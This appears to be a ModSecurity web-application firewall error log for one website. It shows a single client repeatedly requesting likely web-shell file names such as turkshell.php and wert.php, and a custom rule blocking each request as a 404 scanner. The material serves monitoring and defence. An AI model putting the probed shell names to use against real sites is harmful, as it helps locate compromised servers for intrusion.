[Wed Apr 15 01:02:25.621652 2026] [:error] [pid 62297:tid 62359] [client 20.240.133.195:31017] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/water.php"] [unique_id "ad5zIavogcWlrafOEaG7HwAAAQU"]
[Wed Apr 15 01:02:26.157561 2026] [:error] [pid 62297:tid 62374] [client 20.240.133.195:26380] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/water.php"] [unique_id "ad5zIqvogcWlrafOEaG7IgAAARQ"]
[Wed Apr 15 01:02:26.684674 2026] [:error] [pid 17804:tid 17811] [client 20.240.133.195:31009] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/water.php"] [unique_id "ad5zIgAZKYxfpamecKd8CAAAAME"]
[Wed Apr 15 01:02:27.218315 2026] [:error] [pid 62295:tid 62308] [client 20.240.133.195:25862] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/water.php"] [unique_id "ad5zIxng-JDNFCa0BnhmGQAAAAk"]
[Wed Apr 15 01:02:27.755660 2026] [:error] [pid 17926:tid 17934] [client 20.240.133.195:63424] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "ad5zI_KxFvgDwMI04zBQdgAAAcE"]
[Wed Apr 15 01:02:28.308209 2026] [:error] [pid 62295:tid 62318] [client 20.240.133.195:63436] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "ad5zJBng-JDNFCa0BnhmIwAAABM"]
[Wed Apr 15 01:02:28.835911 2026] [:error] [pid 62295:tid 62312] [client 20.240.133.195:30434] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "ad5zJBng-JDNFCa0BnhmKQAAAA0"]
[Wed Apr 15 01:02:29.397072 2026] [:error] [pid 62296:tid 62350] [client 20.240.133.195:47729] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "ad5zJcTNd04nWM2DK4SBqAAAAFc"]
[Wed Apr 15 01:02:29.932707 2026] [:error] [pid 62296:tid 62338] [client 20.240.133.195:30421] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "ad5zJcTNd04nWM2DK4SBrgAAAEs"]
[Wed Apr 15 01:02:30.513976 2026] [:error] [pid 17926:tid 17947] [client 20.240.133.195:32932] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "ad5zJvKxFvgDwMI04zBQegAAAc4"]
[Wed Apr 15 01:02:31.045352 2026] [:error] [pid 17926:tid 17936] [client 20.240.133.195:47044] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "ad5zJ_KxFvgDwMI04zBQggAAAcM"]
[Wed Apr 15 01:02:31.574790 2026] [:error] [pid 62295:tid 62311] [client 20.240.133.195:63463] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "ad5zJxng-JDNFCa0BnhmMwAAAAw"]
[Wed Apr 15 01:02:32.107461 2026] [:error] [pid 62295:tid 62321] [client 20.240.133.195:36198] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wert.php"] [unique_id "ad5zKBng-JDNFCa0BnhmNQAAABY"]
[Wed Apr 15 01:02:32.631250 2026] [:error] [pid 62295:tid 62309] [client 20.240.133.195:31097] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wert.php"] [unique_id "ad5zKBng-JDNFCa0BnhmOQAAAAo"]
[Wed Apr 15 01:02:33.156740 2026] [:error] [pid 62296:tid 62340] [client 20.240.133.195:63480] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wert.php"] [unique_id "ad5zKcTNd04nWM2DK4SBsAAAAE0"]
[Wed Apr 15 01:02:33.708571 2026] [:error] [pid 62432:tid 62449] [client 20.240.133.195:45879] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wert.php"] [unique_id "ad5zKbPtNET7V_vfTPfOogAAAU4"]
[Wed Apr 15 01:02:34.253721 2026] [:error] [pid 62296:tid 62346] [client 20.240.133.195:25874] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "ad5zKsTNd04nWM2DK4SBsQAAAFM"]
[Wed Apr 15 01:02:34.786456 2026] [:error] [pid 17734:tid 17746] [client 20.240.133.195:41338] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "ad5zKtN3xsztF3DFLWz6ywAAAIc"]
[Wed Apr 15 01:02:35.332889 2026] [:error] [pid 62432:tid 62448] [client 20.240.133.195:32913] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "ad5zK7PtNET7V_vfTPfOqgAAAU0"]
[Wed Apr 15 01:02:35.857063 2026] [:error] [pid 62295:tid 62314] [client 20.240.133.195:41325] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "ad5zKxng-JDNFCa0BnhmPgAAAA8"]
[Wed Apr 15 01:02:36.382921 2026] [:error] [pid 62295:tid 62321] [client 20.240.133.195:41293] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "ad5zLBng-JDNFCa0BnhmQAAAABY"]
[Wed Apr 15 01:02:36.913399 2026] [:error] [pid 17926:tid 17952] [client 20.240.133.195:41336] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "ad5zLPKxFvgDwMI04zBQkQAAAdM"]
[Wed Apr 15 01:02:37.440265 2026] [:error] [pid 17804:tid 17818] [client 20.240.133.195:25891] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "ad5zLQAZKYxfpamecKd8GgAAAMg"]
[Wed Apr 15 01:02:37.964930 2026] [:error] [pid 17804:tid 17822] [client 20.240.133.195:31063] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "ad5zLQAZKYxfpamecKd8IQAAAMw"]
[Wed Apr 15 01:02:38.489074 2026] [:error] [pid 17866:tid 17875] [client 20.240.133.195:31067] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oij98gy.php"] [unique_id "ad5zLrx_17kv70EUVIlCJAAAAYc"]
[Wed Apr 15 01:02:39.012542 2026] [:error] [pid 62296:tid 62347] [client 20.240.133.195:45109] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oij98gy.php"] [unique_id "ad5zL8TNd04nWM2DK4SBswAAAFQ"]
[Wed Apr 15 01:02:39.543488 2026] [:error] [pid 62296:tid 62338] [client 20.240.133.195:32948] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oij98gy.php"] [unique_id "ad5zL8TNd04nWM2DK4SBtAAAAEs"]
[Wed Apr 15 01:02:40.068838 2026] [:error] [pid 62295:tid 62316] [client 20.240.133.195:41305] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oij98gy.php"] [unique_id "ad5zMBng-JDNFCa0BnhmQwAAABE"]
[Wed Apr 15 01:02:40.593630 2026] [:error] [pid 17926:tid 17934] [client 20.240.133.195:41313] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ad5zMPKxFvgDwMI04zBQmwAAAcE"]
[Wed Apr 15 01:02:41.120679 2026] [:error] [pid 62296:tid 62332] [client 20.240.133.195:36170] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ad5zMcTNd04nWM2DK4SBuwAAAEU"]
[Wed Apr 15 01:02:41.647967 2026] [:error] [pid 17804:tid 17830] [client 20.240.133.195:45869] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ad5zMQAZKYxfpamecKd8KQAAANQ"]
[Wed Apr 15 01:02:42.173853 2026] [:error] [pid 17734:tid 17759] [client 20.240.133.195:63429] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ad5zMtN3xsztF3DFLWz61wAAAJQ"]
[Wed Apr 15 01:02:42.902951 2026] [:error] [pid 17804:tid 17832] [client 20.240.133.195:45877] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/turkshell.php"] [unique_id "ad5zMgAZKYxfpamecKd8LgAAANY"]
[Wed Apr 15 01:02:43.429107 2026] [:error] [pid 62432:tid 62437] [client 20.240.133.195:31065] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/turkshell.php"] [unique_id "ad5zM7PtNET7V_vfTPfOuAAAAUI"]
[Wed Apr 15 01:02:43.957303 2026] [:error] [pid 17804:tid 17813] [client 20.240.133.195:47700] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/turkshell.php"] [unique_id "ad5zMwAZKYxfpamecKd8MwAAAMM"]
[Wed Apr 15 01:02:44.502733 2026] [:error] [pid 17804:tid 17830] [client 20.240.133.195:32904] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/turkshell.php"] [unique_id "ad5zNAAZKYxfpamecKd8NgAAANQ"]
[Wed Apr 15 01:02:45.027929 2026] [:error] [pid 17734:tid 17754] [client 20.240.133.195:63469] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "ad5zNdN3xsztF3DFLWz62wAAAI8"]
[Wed Apr 15 01:02:45.562799 2026] [:error] [pid 17734:tid 17761] [client 20.240.133.195:25863] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "ad5zNdN3xsztF3DFLWz63QAAAJY"]
[Wed Apr 15 01:02:46.093166 2026] [:error] [pid 17734:tid 17756] [client 20.240.133.195:45862] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "ad5zNtN3xsztF3DFLWz64wAAAJE"]
[Wed Apr 15 01:02:46.621800 2026] [:error] [pid 17734:tid 17760] [client 20.240.133.195:45860] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "ad5zNtN3xsztF3DFLWz65QAAAJU"]
[Wed Apr 15 01:02:47.145528 2026] [:error] [pid 17804:tid 17834] [client 20.240.133.195:45870] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "ad5zNwAZKYxfpamecKd8OwAAANg"]
[Wed Apr 15 01:02:47.698950 2026] [:error] [pid 17734:tid 17744] [client 20.240.133.195:31082] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "ad5zN9N3xsztF3DFLWz66QAAAIU"]
[Wed Apr 15 01:02:48.223051 2026] [:error] [pid 62296:tid 62343] [client 20.240.133.195:47724] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "ad5zOMTNd04nWM2DK4SBywAAAFA"]
[Wed Apr 15 01:02:48.747299 2026] [:error] [pid 62295:tid 62308] [client 20.240.133.195:30979] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "ad5zOBng-JDNFCa0BnhmRwAAAAk"]
[Wed Apr 15 01:02:49.273323 2026] [:error] [pid 62295:tid 62305] [client 20.240.133.195:25906] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "ad5zORng-JDNFCa0BnhmSgAAAAY"]
[Wed Apr 15 01:02:49.797998 2026] [:error] [pid 62296:tid 62351] [client 20.240.133.195:25912] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "ad5zOcTNd04nWM2DK4SBzwAAAFg"]
[Wed Apr 15 01:02:50.325139 2026] [:error] [pid 62432:tid 62447] [client 20.240.133.195:25864] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "ad5zOrPtNET7V_vfTPfOwgAAAUw"]
[Wed Apr 15 01:02:50.848203 2026] [:error] [pid 17734:tid 17751] [client 20.240.133.195:41308] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "ad5zOtN3xsztF3DFLWz67wAAAIw"]
[Wed Apr 15 01:02:51.372491 2026] [:error] [pid 17804:tid 17815] [client 20.240.133.195:26403] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "ad5zOwAZKYxfpamecKd8QQAAAMU"]
[Wed Apr 15 01:02:51.898836 2026] [:error] [pid 62295:tid 62303] [client 20.240.133.195:31001] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "ad5zOxng-JDNFCa0BnhmVwAAAAQ"]
[Wed Apr 15 01:02:52.421503 2026] [:error] [pid 62295:tid 62313] [client 20.240.133.195:30424] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "ad5zPBng-JDNFCa0BnhmWgAAAA4"]
[Wed Apr 15 01:02:52.945497 2026] [:error] [pid 17866:tid 17881] [client 20.240.133.195:25910] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "ad5zPLx_17kv70EUVIlCSAAAAY0"]
[Wed Apr 15 01:02:53.470838 2026] [:error] [pid 62295:tid 62302] [client 20.240.133.195:25895] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "ad5zPRng-JDNFCa0BnhmXwAAAAM"]
[Wed Apr 15 01:02:54.016654 2026] [:error] [pid 62295:tid 62315] [client 20.240.133.195:30981] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "ad5zPhng-JDNFCa0BnhmYQAAABA"]
[Wed Apr 15 01:02:54.540689 2026] [:error] [pid 62295:tid 62306] [client 20.240.133.195:47691] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "ad5zPhng-JDNFCa0BnhmYwAAAAc"]
[Wed Apr 15 01:02:55.074446 2026] [:error] [pid 62295:tid 62301] [client 20.240.133.195:41311] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "ad5zPxng-JDNFCa0BnhmZgAAAAI"]
[Wed Apr 15 01:02:55.600941 2026] [:error] [pid 62432:tid 62444] [client 20.240.133.195:31055] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "ad5zP7PtNET7V_vfTPfOzQAAAUk"]
